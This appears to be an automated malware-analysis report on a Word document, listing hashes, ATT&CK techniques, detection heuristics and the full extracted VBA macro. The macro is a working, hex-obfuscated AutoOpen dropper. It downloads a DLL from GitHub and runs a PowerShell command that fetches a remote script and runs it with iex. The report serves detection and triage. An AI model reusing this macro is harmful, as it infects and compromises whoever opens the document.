Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f253caf89e9c7fe…

MALICIOUS

Office (OLE)

34.5 KB Created: 2019-02-14 09:50:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 1b8b02e16a2d1059d4dc17a9e7aec880 SHA-1: 74a3dbfd5a0ff54920b0f6cd88ced18baa65aa50 SHA-256: 9f253caf89e9c7fe16a839327473fd67f9f0fe1d60f9b23e5a88b85341c8e04b
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains an AutoOpen VBA macro that is heavily obfuscated and uses CreateObject to execute commands. The macro constructs a command to download a PowerShell script from 'the embedded link' and execute it. It also attempts to download a DLL file from GitHub to 'C:\Windows\Temp\powershdll.dll' for execution, indicating a downloader or dropper functionality.

Heuristics 11

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    myURL = drgpwzbukrdijqubxm.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set drgpwzbukrdijqubxm = CreateObject(ipbrjfzldxpy("4d53584d4c322e5365") & ipbrjfzldxpy("72766572584d4c485454502e362e30"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set drgpwzbukrdijqubxm = CreateObject(ipbrjfzldxpy("4d53584d4c322e5365") & ipbrjfzldxpy("72766572584d4c485454502e362e30"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    huflixfshen = ipbrjfzldxpy("433a5c57696e646f77735c53797374656d33325c72756e64") & ipbrjfzldxpy("6c6c33322e65786520") & Environ(ipbrjfzldxpy("54") & ipbrjfzldxpy("454d50")) & ipbrjfzldxpy("5c706f7765727368646c6c2e646c6c2c6d61696e202e207b20") & ipbrjfzldxpy("496e766f6b652d57656252657175657374202d7573656220687474703a2f2f3139322e3136382e31302e3130303a383038302f6e697368616e672e707331207d205e7c206965783b")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3038 bytes
SHA-256: 0b9c4f7010dad663956df7abcb460333273d014640b7004e7ebd8b0d4febe8f5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const yqxidenktr = 2
Const mvsxyafnao = 1
Const nxjbfxuaul = 0
Sub AutoOpen()
vxyzgyhpemzx
End Sub
Public Function vxyzgyhpemzx() As Variant
mfitqgugcxryjtzzssk
Dim huflixfshen As String
huflixfshen = ipbrjfzldxpy("433a5c57696e646f77735c53797374656d33325c72756e64") & ipbrjfzldxpy("6c6c33322e65786520") & Environ(ipbrjfzldxpy("54") & ipbrjfzldxpy("454d50")) & ipbrjfzldxpy("5c706f7765727368646c6c2e646c6c2c6d61696e202e207b20") & ipbrjfzldxpy("496e766f6b652d57656252657175657374202d7573656220687474703a2f2f3139322e3136382e31302e3130303a383038302f6e697368616e672e707331207d205e7c206965783b")
quhmjlnqxaaw huflixfshen
End Function
Sub mfitqgugcxryjtzzssk()
Dim qmiultvc As String
qmiultvc = Environ(ipbrjfzldxpy("54454d") & ipbrjfzldxpy("50")) & ipbrjfzldxpy("5c706f7765727368") & ipbrjfzldxpy("646c6c2e646c6c")
If Not Dir(qmiultvc, vbDirectory) = vbNullString Then
Exit Sub
End If
Dim ufhumhqjvcisnt As String
#If Win64 Then
ufhumhqjvcisnt = ipbrjfzldxpy("68747470733a2f2f6769746875622e636f6d2f70336e74342f506f7765725368646c6c2f7261772f6d61737465722f646c6c2f62") & ipbrjfzldxpy("696e2f7836342f52656c656173652f506f7765725368646c6c2e646c6c")
#Else
ufhumhqjvcisnt = ipbrjfzldxpy("68747470733a2f2f6769746875622e636f6d2f70336e74342f506f7765725368646c6c2f7261772f6d61737465722f646c6c2f62696e2f7838362f52656c65617365") & ipbrjfzldxpy("2f506f7765725368646c6c2e646c6c")
#End If
Dim drgpwzbukrdijqubxm As Object
Set drgpwzbukrdijqubxm = CreateObject(ipbrjfzldxpy("4d53584d4c322e5365") & ipbrjfzldxpy("72766572584d4c485454502e362e30"))
drgpwzbukrdijqubxm.Open ipbrjfzldxpy("474554"), ufhumhqjvcisnt, False
drgpwzbukrdijqubxm.send
myURL = drgpwzbukrdijqubxm.responseBody
If drgpwzbukrdijqubxm.Status = 200 Then
Set fwcmfooga = CreateObject(ipbrjfzldxpy("41444f44422e5374") & ipbrjfzldxpy("7265616d"))
fwcmfooga.Open
fwcmfooga.Type = 1
fwcmfooga.Write drgpwzbukrdijqubxm.responseBody
fwcmfooga.SaveToFile qmiultvc
fwcmfooga.Close
End If
End Sub
Private Function ipbrjfzldxpy(ByVal zvdxhfrhcxgm As String) As String
Dim fwtgokktqzab As Long
For fwtgokktqzab = 1 To Len(zvdxhfrhcxgm) Step 2
ipbrjfzldxpy = ipbrjfzldxpy & Chr$(Val("&H" & Mid$(zvdxhfrhcxgm, fwtgokktqzab, 2)))
Next fwtgokktqzab
End Function


Attribute VB_Name = "obvakoqcn"
Const vabkxorsqa = 2
Const isgtunlmag = 1
Const numlgrpefk = 0
Sub quhmjlnqxaaw(tsdvguxpjomkn As String)
CreateObject(xiokedwfocvn("57536372") & xiokedwfocvn("6970742e5368656c6c")).Run tsdvguxpjomkn, 0
End Sub
Private Function xiokedwfocvn(ByVal amlwlrvvhfqj As String) As String
Dim itdsfccimweq As Long
For itdsfccimweq = 1 To Len(amlwlrvvhfqj) Step 2
xiokedwfocvn = xiokedwfocvn & Chr$(Val("&H" & Mid$(amlwlrvvhfqj, itdsfccimweq, 2)))
Next itdsfccimweq
End Function

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